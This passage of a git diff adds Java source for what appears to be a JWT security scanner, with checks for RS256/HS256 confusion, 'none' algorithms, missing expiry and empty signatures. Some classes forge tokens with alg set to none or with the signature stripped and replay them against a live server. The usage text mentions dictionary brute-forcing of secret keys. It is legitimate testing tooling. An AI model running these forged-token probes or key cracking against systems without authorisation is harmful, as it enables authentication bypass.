setDescribe("如果算法从rs256更改为hs256,后端代码将使用公钥作为密钥,然后使用hs256算法验证签名。由于攻击者有时可以获得公钥,因此攻击者可以将标头中的算法修改为hs256,然后使用RSA公钥对数据进行签名。"); + setV_name("jwt配置中jwt head中的密钥类型为 RS256,"); + setRisk_level("低"); + setDetails(new String(bytes)+"当前密钥类型为RS256"); + + + }catch (Exception e){ + return false; + } + + return false; + } +} diff --git a/src/main/java/com/su/defect/config_defect/Config_head_None.java b/src/main/java/com/su/defect/config_defect/Config_head_None.java new file mode 100644 index 0000000..c817cea --- /dev/null +++ b/src/main/java/com/su/defect/config_defect/Config_head_None.java @@ -0,0 +1,32 @@ +package com.su.defect.config_defect; + +import com.alibaba.fastjson.JSONObject; +import com.alibaba.fastjson.JSONPath; +import sun.misc.BASE64Decoder; + +import java.io.IOException; + +public class Config_head_None extends F_config_defect{ + + @Override + public Boolean scan() { + BASE64Decoder decoder = new BASE64Decoder(); + try { + byte[] bytes = decoder.decodeBuffer(getJwt_pars().getHead()); + JSONObject jsonObject = JSONObject.parseObject(new String(bytes)); + String alg =jsonObject.getString("alg"); + if (!alg.equalsIgnoreCase("none")){ return false; } + + setDescribe("当前jwt配置中jwt head中的密钥类型为 none"); + setV_name("jwt none密钥"); + setRisk_level("高"); + setDetails(new String(bytes)+"可访问以有资源"); + return true; + + } catch (IOException e) { + return false; + } + + + } +} diff --git a/src/main/java/com/su/defect/config_defect/F_config_defect.java b/src/main/java/com/su/defect/config_defect/F_config_defect.java new file mode 100644 index 0000000..643aa6e --- /dev/null +++ b/src/main/java/com/su/defect/config_defect/F_config_defect.java @@ -0,0 +1,21 @@ +package com.su.defect.config_defect; + +import com.su.analysis.Http_req_pars; +import com.su.analysis.Jwt_pars; +import com.su.defect.Defect; + +public abstract class F_config_defect extends Defect { + + public Jwt_pars getJwt_pars() { + return jwt_pars; + } + + public void setJwt_pars(Jwt_pars jwt_pars) { + this.jwt_pars = jwt_pars; + } + + private Jwt_pars jwt_pars; + + @Override + public abstract Boolean scan(); +} diff --git a/src/main/java/com/su/defect/config_defect/JWT_miss_exp.java b/src/main/java/com/su/defect/config_defect/JWT_miss_exp.java new file mode 100644 index 0000000..76b3724 --- /dev/null +++ b/src/main/java/com/su/defect/config_defect/JWT_miss_exp.java @@ -0,0 +1,39 @@ +package com.su.defect.config_defect; + +import com.alibaba.fastjson.JSONObject; +import sun.misc.BASE64Decoder; + +import java.io.IOException; + +public class JWT_miss_exp extends F_config_defect{ + @Override + public Boolean scan() { + + BASE64Decoder decoder = new BASE64Decoder(); + try { + byte[] bytes = decoder.decodeBuffer(getJwt_pars().getPayload()); + JSONObject jsonObject = JSONObject.parseObject(new String(bytes)); + if (jsonObject.containsKey("exp")){ return false; } + + setV_name("JWT中未设置过期时间"); + setRisk_level("中"); + setDescribe("当前JWT中未设置过期时间"); + setDetails(new String(bytes)); + return true; + + }catch (Exception e){ + return false; + } + + + } + + public static void main(String[] args) throws IOException { + BASE64Decoder decoder = new BASE64Decoder(); + JSONObject jsonObject = JSONObject.parseObject("{\"typ\":\"JWT\",\"alg\":\"HS256\"}"); + if (jsonObject.containsKey("typ")){ + System.out.println("1111111111111111111"); + } + + } +} diff --git a/src/main/java/com/su/defect/vulnerability/F_vulnerability.java b/src/main/java/com/su/defect/vulnerability/F_vulnerability.java new file mode 100644 index 0000000..225eadb --- /dev/null +++ b/src/main/java/com/su/defect/vulnerability/F_vulnerability.java @@ -0,0 +1,20 @@ +package com.su.defect.vulnerability; + +import com.su.analysis.Http_req_pars; +import com.su.defect.Defect; + +public abstract class F_vulnerability extends Defect { + public Http_req_pars getHttp_req_pars() { + return http_req_pars; + } + + public void setHttp_req_pars(Http_req_pars http_req_pars) { + this.http_req_pars = http_req_pars; + } + + private Http_req_pars http_req_pars; + + @Override + public abstract Boolean scan(); + +} diff --git a/src/main/java/com/su/defect/vulnerability/None_token.java b/src/main/java/com/su/defect/vulnerability/None_token.java new file mode 100644 index 0000000..189a063 --- /dev/null +++ b/src/main/java/com/su/defect/vulnerability/None_token.java @@ -0,0 +1,66 @@ +package com.su.defect.vulnerability; + +import com.alibaba.fastjson.JSONObject; +import com.alibaba.fastjson.JSONPath; +import com.su.analysis.Http_req_pars; +import com.su.analysis.Http_res_pars; +import com.su.analysis.Jwt_pars; +import com.su.util.Socket_http_utility; +import sun.misc.BASE64Decoder; +import sun.misc.BASE64Encoder; + +import java.util.ArrayList; +import java.util.List; + +public class None_token extends F_vulnerability { + + + @Override + public Boolean scan() { + Jwt_pars jwt_pars = getHttp_req_pars().getJwt_pars(); + BASE64Decoder decoder = new BASE64Decoder(); + BASE64Encoder encoder =new BASE64Encoder(); + try { + byte[] bytes = decoder.decodeBuffer(jwt_pars.getHead()); + JSONObject jsonObject = JSONObject.parseObject(new String(bytes)); + String alg =jsonObject.getString("alg"); + + JSONPath.set(jsonObject,"alg","none"); + String jsonStr = JSONObject.toJSONString(jsonObject); + + + String n_head = encoder.encode(jsonStr.getBytes()); + Http_res_pars http_res_pars=Socket_http_utility.send_s_http2(getHttp_req_pars()); + String y_body = http_res_pars.getBody(); + + String y_http_ = getHttp_req_pars().getHttp_text(); + String y_jwt = jwt_pars.getJwt_text(); + + List none_jwts = new ArrayList<>(); + none_jwts.add(n_head+"."+jwt_pars.getPayload()+"."); + none_jwts.add(n_head+"."+jwt_pars.getPayload()); + none_jwts.add(n_head+"."+jwt_pars.getPayload()+".21j32j13j2hgfg12g3h213h2gh3g21h1cvvowie1"); + + for (String node_jwt:none_jwts){ + + String node_http_= y_http_.replace(y_jwt,node_jwt); + getHttp_req_pars().setHttp_text(node_http_); + + Http_res_pars http_res_pars_no=Socket_http_utility.send_s_http2(getHttp_req_pars()); + String node_body = http_res_pars_no.getBody(); + if (node_body.equals(y_body)){ + setDescribe("可设置jwt head中的密钥类型为 none 可以绕过密钥限制"); + setV_name("可设置 jwt none密钥"); + setDetails(n_head+"可访问以有资源"); + setRisk_level("高"); + return true; + } + + } + + }catch (Exception e){ + + } + return false; + } +} diff --git a/src/main/java/com/su/defect/vulnerability/Null_encryption.java b/src/main/java/com/su/defect/vulnerability/Null_encryption.java new file mode 100644 index 0000000..d024e84 --- /dev/null +++ b/src/main/java/com/su/defect/vulnerability/Null_encryption.java @@ -0,0 +1,46 @@ +package com.su.defect.vulnerability; + +import com.su.analysis.Http_req_pars; +import com.su.analysis.Http_res_pars; +import com.su.analysis.Jwt_pars; +import com.su.util.Socket_http_utility; + +import java.util.ArrayList; +import java.util.List; + +public class Null_encryption extends F_vulnerability{ + + @Override + public Boolean scan() { + Jwt_pars jwt_pars = getHttp_req_pars().getJwt_pars(); + try { + Http_res_pars http_res_pars= Socket_http_utility.send_s_http2(getHttp_req_pars()); + String y_body = http_res_pars.getBody(); + + String y_http_ = getHttp_req_pars().getHttp_text(); + List nullen_jwts = new ArrayList<>(); + nullen_jwts.add(jwt_pars.getHead()+"."+jwt_pars.getPayload()+"."); + nullen_jwts.add(jwt_pars.getHead()+"."+jwt_pars.getPayload()); + nullen_jwts.add(jwt_pars.getHead()+"."+jwt_pars.getPayload()+"."+"sadusaidyuy127y72hjhwqkjehwqe"); + for (String nullen_jwt:nullen_jwts){ + String node_http_= y_http_.replace(nullen_jwt,jwt_pars.getJwt_text()); + getHttp_req_pars().setHttp_text(node_http_); + Http_res_pars http_res_pars_no=Socket_http_utility.send_s_http2(getHttp_req_pars()); + String nullbody=http_res_pars_no.getBody(); + if (y_body.equals(nullbody)){ + setDescribe("空加密算法"); + setV_name("不校验jwt中的密钥信息"); + setDetails("密钥信息可至空"); + setRisk_level("高"); + return true; + } + } + return false; + }catch (Exception e){ + + return false; + } + } + +} + diff --git a/src/main/java/com/su/main.java b/src/main/java/com/su/main.java new file mode 100644 index 0000000..a875e4c --- /dev/null +++ b/src/main/java/com/su/main.java @@ -0,0 +1,84 @@ +package com.su; + +import com.su.analysis.Http_req_pars; +import com.su.analysis.Jwt_pars; +import com.su.defect.D_Loader; +import com.su.defect.brute_force.Key_enum; +import com.su.util.File_Utils; + +import javax.crypto.Mac; +import javax.crypto.spec.SecretKeySpec; + +public class main { + public static void main(String[] args) throws Exception { + + if (args.length == 0) { + printUsage(); + System.exit(1); + } + String file_path=""; + String jwt=""; + String dictionarie_file=""; + Integer thead_num=30; + + int argIndex = 0; + while (argIndex < args.length) { + String arg = args[argIndex]; + if (arg.equals("-r")) { + file_path = args[argIndex+1]; + }else if (arg.equals("-j")){ + jwt = args[argIndex+1]; + }else if (arg.equals("-d")){ + dictionarie_file = args[argIndex+1]; + }else if (arg.equals("-t")){ + thead_num = Integer.parseInt(args[argIndex+1]); + } + argIndex++; + } + + D_Loader d_loader= new D_Loader(); + d_loader.setDictionarie_file(dictionarie_file); + d_loader.setThead_num(thead_num); + + if (jwt!=""){ + Jwt_pars jwt_pars=new Jwt_pars(jwt); + d_loader.jwt_de_info(jwt_pars); + d_loader.c_dloder(jwt_pars); + d_loader.b_loader(jwt_pars); + + }else if (file_path!=""){ + + String text = File_Utils.lines_read(file_path); + Http_req_pars http_req_pars =new Http_req_pars(text); + http_req_pars.jwt_pars(); + Jwt_pars jwt_pars=http_req_pars.getJwt_pars(); + + d_loader.jwt_de_info(jwt_pars); + d_loader.v_loder(http_req_pars); + d_loader.c_dloder(jwt_pars); + d_loader.b_loader(jwt_pars); + + } + + } + + private static void printUsage() { + System.out.println("-r : specifies the path of the complete HTTP request package to be scanned, - r will send a request to verify the security problem\n" + + "Example:\n" + + "GET /user/userinfo HTTP/1.1\n" + + "Host: 127.0.0.1:8081\n" + + "Cookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbklkIjoxMDAwMSwicm4iOiJBUEg2OEpSTXdURWFIN29TZEc2eURwa1c3SXA4bkY5TiJ9.u3xuzKmqKBgcPbTHBk3RitWc25sXfmJCP4ekeZQPKo0\n" + + "\n" + + "-j : complete JWT information\n" + + "\n" + + "-d : specifies the JWT secret key explosion dictionary. If it is not specified, brute force cracking will not be performed\n" + + "\n" + + "-t JWT the number of threads for key blasting is 30 by default"+ + "\n" + + "Two scanning modes are provided\n" + + "Example:\n" + + "java - jar JWTSCAN.jar -r Original_request.txt -d Key_dictionary.txt\n" + + "java - jar JWTSCAN.jar jjwt-1.0-SNAPSHOT.jar -j eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbklkIjoxMDAwMSwicm4iOiJBUEg2OEpSTXdURWFIN29TZEc2eURwa1c3SXA4bkY5TiJ9.u3xuzKmqKBgcPbTHBk3RitWc25sXfmJCP4ekeZQPKo0 -d Key_dictionary.txt"); + } + +} diff --git a/src/main/java/com/su/text.java b/src/main/java/com/su/text.java new file mode 100644 index 0000000..dc63042 --- /dev/null +++ b/src/main/java/com/su/text.java @@ -0,0 +1,27 @@ +package com.su; + +import io.jsonwebtoken.*; +import io.jsonwebtoken.impl.crypto.DefaultJwtSigner; +import io.jsonwebtoken.impl.crypto.JwtSigner; + +import javax.crypto.spec.SecretKeySpec; +import java.security.Key; +import java.util.HashMap; +import java.util.Map; + +/** + * JWT_HS256生成签名和解密的Demo + * @time 2019-12-11 18:40 + */ +public class text { + + /** + * JWT算法HS256测试 + * @Time 2019/12/6 18:22 + * @Param + * @Return: void + */ + public static void main(String[] args) { + System.out.println("G1ZmDAmq3fAXeK-HB9gnvCXr0RSTE-I358wGyNdfZ14".length()); + } +} diff --git a/src/main/java/com/su/util/En_utility.java b/src/main/java/com/su/util/En_utility.java new file mode 100644 index 0000000..0456d46 --- /dev/null +++ b/src/main/java/com/su/util/En_utility.java @@ -0,0 +1,18 @@ +package com.su.util; + +import io.jsonwebtoken.SignatureAlgorithm; +import io.jsonwebtoken.impl.crypto.DefaultJwtSigner; +import io.jsonwebtoken.impl.crypto.JwtSigner; + +import javax.crypto.spec.SecretKeySpec; +import java.security.Key; + +public class En_utility { + public static String en_hs256(String text,String key){ + Key KEY = new SecretKeySpec(key.getBytes(), + SignatureAlgorithm.HS256.getJcaName()); + JwtSigner signer = new DefaultJwtSigner(SignatureAlgorithm.HS256, KEY); + String base64UrlSignature = signer.sign(text); + return base64UrlSignature; + } +} diff --git a/src/main/java/com/su/util/File_Utils.java b/src/main/java/com/su/util/File_Utils.java new file mode 100644 index 0000000..797434b --- /dev/null +++ b/src/main/java/com/su/util/File_Utils.java @@ -0,0 +1,78 @@ +package com.su.util; + +import java.io.*; +import java.util.ArrayList; +import java.util.List; + +public class File_Utils { + + + + public static String lines_read(String fileName){ + + File file = new File(fileName); + String filevalue=""; + BufferedReader reader = null; + try { + + reader = new BufferedReader(new FileReader(file)); + String tempString = null; + int line = 1; + // 一次读入一行,直到读入null为文件结束 + while ((tempString = reader.readLine()) != null) { + filevalue+=tempString+"\r\n"; + line++; + } + reader.close(); + } catch (IOException e) { + e.printStackTrace(); + } finally { + if (reader != null) { + try { + reader.close(); + } catch (IOException e1) { + } + } + } + return filevalue; + } + + public static List lines_read_array(String fileName){ + + List texts = new ArrayList<>(); + File file = new File(fileName); + + BufferedReader reader = null; + try { + reader = new BufferedReader(new FileReader(file)); + String tempString = null; + int line = 1; + // 一次读入一行,直到读入null为文件结束 + while ((tempString = reader.readLine()) != null) { + texts.add(tempString); + line++; + } + reader.close(); + } catch (IOException e) { + e.printStackTrace(); + } finally { + if (reader != null) { + try { + reader.close(); + } catch (IOException e1) { + } + } + } + return texts; + } + + public static InputStream get_FileInputStream(String path) throws FileNotFoundException { + InputStream is = new FileInputStream(new File(path)); + return is; + } + + + + + +} diff --git a/src/main/java/com/su/util/Regu.java b/src/main/java/com/su/util/Regu.java new file mode 100644 index 0000000..14b8081 --- /dev/null +++ b/src/main/java/com/su/util/Regu.java @@ -0,0 +1,60 @@ +package com.su.util; + +import java.util.ArrayList; +import java.util.List; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class Regu { + + public static String search1(String reg,String str){ + Matcher matcher=search(reg,str); + return matcher.group(1); + } + + public static Matcher search(String reg,String str){ + Pattern pattern = Pattern.compile(reg); + Matcher matcher = pattern.matcher(str); + if( matcher.find() ){ + return matcher; + }else{ + //err + System.out.println("未匹配正则"); + return null; + } + } + + + public static List searchall(String reg,String str){ + + List matcherList = new ArrayList<>(); + Pattern pattern = Pattern.compile(reg); + Matcher matcher = pattern.matcher(str); + while (matcher.find()) { //此处find()每次被调用后,会偏移到下一个匹配 + try { + matcherList.add(matcher.group(1));//获取当前匹配的值 + }catch (IndexOutOfBoundsException e){ + System.out.println(e.getMessage()); + } + + } + + return matcherList; + } + public static String btch_replacement(String[] tagets,String rep,String str){ + + for(String t:tagets){ + str=str.replace(t,rep); + + } + return str; + } + + public static void main(String[] args) { + + Matcher matcher=Regu.search("\\$\\{(.*?)\\}","${spring.version}"); + + System.out.println( matcher.group(1)); + } + +} diff --git a/src/main/java/com/su/util/Socket_http_utility.java b/src/main/java/com/su/util/Socket_http_utility.java new file mode 100644 index 0000000..50dc09d --- /dev/null +++ b/src/main/java/com/su/util/Socket_http_utility.java @@ -0,0 +1,87 @@ +package com.su.util; + +import com.su.analysis.Http_req_pars; +import com.su.analysis.Http_res_pars; + +import javax.net.ssl.SSLException; +import javax.net.ssl.SSLHandshakeException; +import javax.net.ssl.SSLSocket; +import javax.net.ssl.SSLSocketFactory; +import java.io.*; +import java.net.*; + +public class Socket_http_utility { + + public static Boolean if_is_https(Http_req_pars http_req_pars) throws IOException { + String host = http_req_pars.getHost(); + Integer port = http_req_pars.getPort(); + OutputStreamWriter streamWriter = null; + BufferedWriter bufferedWriter = null; + Socket socket = null; + try { + socket = (SSLSocket)((SSLSocketFactory)SSLSocketFactory.getDefault()).createSocket(host, port); + streamWriter = new OutputStreamWriter(socket.getOutputStream()); + bufferedWriter = new BufferedWriter(streamWriter); + bufferedWriter.write("POST / HTTP/1.1\r\n"); + bufferedWriter.flush(); + return true; + }catch (SSLHandshakeException e){ + bufferedWriter.close(); + socket.close(); + return false; + }catch (ConnectException e){ + return false; + }catch (SSLException e){ + bufferedWriter.close(); + socket.close(); + return false; + } + } + + public static Http_res_pars send_s_http2(Http_req_pars http_req_pars) throws IOException { + Socket socket; + String host = http_req_pars.getHost(); + Integer port = http_req_pars.getPort(); + String http_= http_req_pars.getHttp_text(); + Boolean is_https = http_req_pars.getIs_ssl(); + if (is_https){ + socket = (SSLSocket)((SSLSocketFactory)SSLSocketFactory.getDefault()).createSocket(host, port); + }else { + socket = new Socket(host, port); + } + OutputStreamWriter streamWriter = new OutputStreamWriter(socket.getOutputStream(), "utf-8"); + + BufferedWriter bufferedWriter = new BufferedWriter(streamWriter); + + String[] http_s=http_.split("\r\n"); + for(String h_line:http_s){ + if (h_line.contains("Accept-Encoding: ")){ continue;} + bufferedWriter.write(h_line+"\r\n"); + } + bufferedWriter.write("Content-Type: application/x-www-form-urlencoded\r\n"); + bufferedWriter.write("\r\n"); + bufferedWriter.write("\r\n"); + bufferedWriter.flush(); + + BufferedInputStream streamReader = new BufferedInputStream(socket.getInputStream()); + BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(streamReader, "utf-8")); + String res_text=""; + String line = null; + while((line = bufferedReader.readLine())!= null) + { + res_text += line+"\r\n"; + } + bufferedReader.close(); + bufferedWriter.close(); + socket.close(); + Http_res_pars http_res_pars =new Http_res_pars(); + http_res_pars.res_pars(res_text); + + return http_res_pars; + } + + public static void main(String[] args) { + + } + +}